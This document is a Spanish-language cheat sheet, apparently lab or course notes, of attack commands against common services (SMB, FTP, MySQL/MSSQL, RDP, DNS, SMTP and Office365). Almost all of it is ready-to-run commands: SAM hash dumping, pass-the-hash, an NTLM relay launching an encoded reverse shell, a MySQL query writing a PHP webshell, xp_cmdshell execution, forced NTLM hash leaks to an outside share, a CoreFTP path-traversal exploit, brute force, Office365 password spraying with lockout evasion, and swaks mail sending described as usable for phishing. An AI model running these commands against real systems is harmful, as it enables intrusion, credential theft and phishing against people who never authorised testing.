Secciones
1. ¿Qué son los servicios comunes?
En redes corporativas o entornos de pruebas, hay una serie de servicios que aparecen con mucha frecuencia. Hablamos de SMB, FTP, SQL, RDP, DNS y SMTP, entre otros. Comprenderlos y saber explotarlos puede marcar la diferencia entre un intento fallido y una shell interactiva.
2. Concepto de Ataques: El Patrón Universal
Todo ataque se puede diseccionar en cuatro partes:
- Fuente (Source): Donde nace la información manipulada: entradas de usuario, librerías, APIs.
- Proceso (Process): Quién maneja esa información: código vulnerable, parsing incorrecto.
- Privilegios (Privileges): Con qué permisos se ejecuta el proceso.
- Destino (Destination): Qué se modifica o a qué se accede: red, disco, otro sistema.
Esta estructura la aplicamos en ataques como el de Log4Shell (CVE-2021-44228), donde el input en una cabecera HTTP llega a una librería (Log4j), se ejecuta con permisos elevados y termina contactando un servidor remoto controlado por el atacante.
3. Interacción con SMB
El protocolo SMB se usa mucho para compartir archivos. Puedes interactuar desde:
Windows CMD
net use n: \\192.168.220.129\Finance /user:plaintext Password123
Este comando monta el recurso compartido Finance
en la unidad N:
utilizando credenciales.
dir n:\*cred* /s /b
Busca archivos con la palabra «cred» en todo el recurso.
PowerShell
$secpassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('plaintext', $secpassword)
New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider FileSystem -Credential $cred
Esto monta el recurso SMB en PowerShell utilizando un objeto de credencial.
Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List
Busca la palabra «cred» dentro del contenido de archivos.
Linux
sudo mkdir /mnt/Finance
sudo mount -t cifs //192.168.220.129/Finance /mnt/Finance -o credentials=credfile
Monta el recurso compartido en Linux usando cifs-utils.
find /mnt/Finance/ -name *cred*
grep -rn /mnt/Finance/ -ie cred
Busca nombres de archivo o contenido con «cred».
Enumeración y Explotación
smbclient -N -L //10.129.14.128
Intenta una sesión nula para listar recursos compartidos.
smbmap -H 10.129.14.128
smbmap -H 10.129.14.128 -r notes
smbmap -H 10.129.14.128 --download "notes\note.txt"
smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"
Utiliza smbmap
para enumerar, descargar y subir archivos compartidos.
rpcclient -U'%' 10.10.110.17
Abre una sesión nula con rpcclient
.
./enum4linux-ng.py 10.10.11.45 -A -C
Enumeración automática con enum4linux-ng
.
crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' --sam
Extrae hashes SAM.
crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE
Autenticación Pass-The-Hash.
impacket-psexec administrator:'Password123!'@10.10.110.17
Ejecución remota con psexec
.
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e <shellbase64>'
Relay NTLM y ejecución de reverse shell.
4. Atacando FTP
Enumeración
nmap -sC -sV -p 21 192.168.2.142
Escaneo con scripts y detección de versiones.
nc -v 192.168.2.142 21
Conexión manual al puerto FTP usando Netcat.
Conexión Anónima
ftp 192.168.2.142 #Escribimos como usuario "Anonymous" y ninguna password
Fuerza Bruta
hydra -l user1 -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.142
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp
FTP Bounce
nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2
Escaneo usando rebote de FTP.
Explotación de vulnerabilidad CoreFTP (CVE-2022-22836)
curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops
Escritura arbitraria mediante path traversal en CoreFTP.
5. Atacando Bases de Datos SQL
MySQL
mysql -u julio -p Password123 -h 10.129.20.13
Nos conectamos al servidor MySQL especificando el usuario, la contraseña y la dirección del servidor.
SHOW DATABASES;
Este comando muestra todas las bases de datos disponibles.
USE davidalvkusers;
Seleccionamos la base de datos llamada davidalvkusers
para comenzar a trabajar con sus tablas.
SHOW TABLES;
Muestra todas las tablas dentro de la base de datos seleccionada.
SELECT * FROM users;
Extrae todo el contenido de la tabla users
, útil para descubrir nombres de usuario, contraseñas hasheadas u otros datos sensibles.
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
Crea un archivo PHP en el servidor con una webshell que permite ejecutar comandos arbitrarios desde el navegador.
SELECT LOAD_FILE("/etc/passwd");
Lee el contenido de archivos locales, como /etc/passwd
, desde el servidor MySQL (si el usuario de la base de datos tiene permisos).
SHOW VARIABLES LIKE "secure_file_priv";
Verifica si hay restricciones de acceso a archivos mediante la variable secure_file_priv
.
MSSQL
sqlcmd -S 10.129.20.13 -U julio -P 'Password123'
Conexión al servidor MSSQL desde la terminal utilizando sqlcmd
con usuario y contraseña.
EXEC xp_cmdshell 'whoami';
Ejecuta el comando del sistema whoami
desde SQL Server para saber en qué contexto de usuario se están ejecutando los procesos.
EXEC master..xp_dirtree '\\10.10.110.17\share\';
Fuerza al servidor a acceder a un recurso compartido. Esto puede provocar que se envíen hashes NTLM del servidor.
EXEC master..xp_subdirs '\\10.10.110.17\share\';
Similar a xp_dirtree
, pero enfocado en obtener subdirectorios específicos.
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents;
Lee archivos locales desde el sistema del servidor MSSQL. Aquí se usa el archivo hosts
como ejemplo.
SELECT srvname, isremote FROM sysservers;
Enumera los servidores vinculados, permitiendo identificar rutas para movimiento lateral.
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS];
Ejecuta una consulta en un servidor vinculado, revelando nombre, versión, usuario y si es miembro del rol sysadmin
.
6. Atacando RDP
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
Este comando utiliza Crowbar para hacer un ataque de password spraying contra RDP. Se prueba la misma contraseña (password123
) para todos los usuarios del archivo users.txt
.
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Hydra intenta la contraseña password123
con cada nombre de usuario de usernames.txt
, realizando un ataque de fuerza bruta.
rdesktop -u admin -p password123 192.168.2.143
Cliente RDP en Linux. Permite iniciar una sesión de escritorio remoto desde consola si se tienen credenciales válidas.
tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}
En Windows, tscon
permite reconectar una sesión RDP a otra existente, útil para secuestrar sesiones activas si se tienen privilegios.
net start sessionhijack
Ejecuta un comando para iniciar un servicio de Windows. Aquí se usa uno llamado sessionhijack
, hipotético o personalizado.
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
Este comando de registro habilita autenticación con hash (Pass-The-Hash) para RDP desactivando la opción de “Administrador Restringido”.
xfreerdp /v:192.168.2.141 /u:admin /pth:A9FDFA038C4B75EBC76DC855DD74F0DA
Conexión a RDP usando xfreerdp
y la técnica de Pass-The-Hash, sin necesidad de la contraseña en texto plano.
7. Atacando DNS
dig AXFR @ns1.davidalvk.com davidalvk.com
Este comando intenta una transferencia de zona completa (AXFR) desde el servidor DNS ns1.davidalvk.com
. Si está mal configurado, puede revelar todos los registros DNS del dominio.
subfinder -d davidalvk.com -v
Herramienta que automatiza la búsqueda de subdominios pertenecientes al dominio objetivo (davidalvk.com
), ideal para descubrimiento de superficie de ataque.
host support.davidalvk.com
Resuelve el nombre del host a una dirección IP. Útil para verificar si el subdominio existe y está activo.
8. Correo Electrónico (SMTP, POP3, Office365)
host -t MX microsoft.com
Consulta los registros MX del dominio microsoft.com
para descubrir qué servidores manejan su correo.
dig mx davidalvk.com | grep "MX" | grep -v ";"
Usamos dig
para obtener los registros MX del dominio davidalvk.com
, filtrando el resultado.
host -t A mail1.davidalvk.com
Resuelve el nombre mail1.davidalvk.com
a su dirección IP.
telnet 10.10.110.20 25
Conecta manualmente al puerto SMTP para probar comandos como HELO
, VRFY
, RCPT TO
, etc.
smtp-user-enum -M RCPT -U userlist.txt -D davidalvk.com -t 10.129.203.7
Enumera usuarios válidos en un servidor SMTP enviando múltiples correos RCPT y observando las respuestas.
python3 o365spray.py --validate --domain msplaintext.xyz
Valida que el dominio msplaintext.xyz
sea válido para realizar ataques a Office365.
python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz
Enumera cuentas válidas de Office365 a partir de una lista de nombres de usuario.
python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz
Password spraying sobre Office365, evitando bloqueos por cantidad y frecuencia de intentos.
hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3
Ataque de fuerza bruta contra un servidor POP3 local usando hydra
.
swaks --from notifications@davidalvk.com --to employees@davidalvk.com --header 'Subject: Notification' --body 'Message' --server 10.10.11.213
Envía un correo desde línea de comandos usando swaks
, ideal para comprobar la configuración de servidores SMTP o realizar phishing.
9. Conclusión
En el mundo de la seguridad ofensiva, el conocimiento profundo de los servicios y sus posibles puntos de entrada es clave. Cada protocolo tiene su historia, su forma de caer, y su valor. Sigue explorando, sigue practicando, y sobre todo, ¡sigue explotando!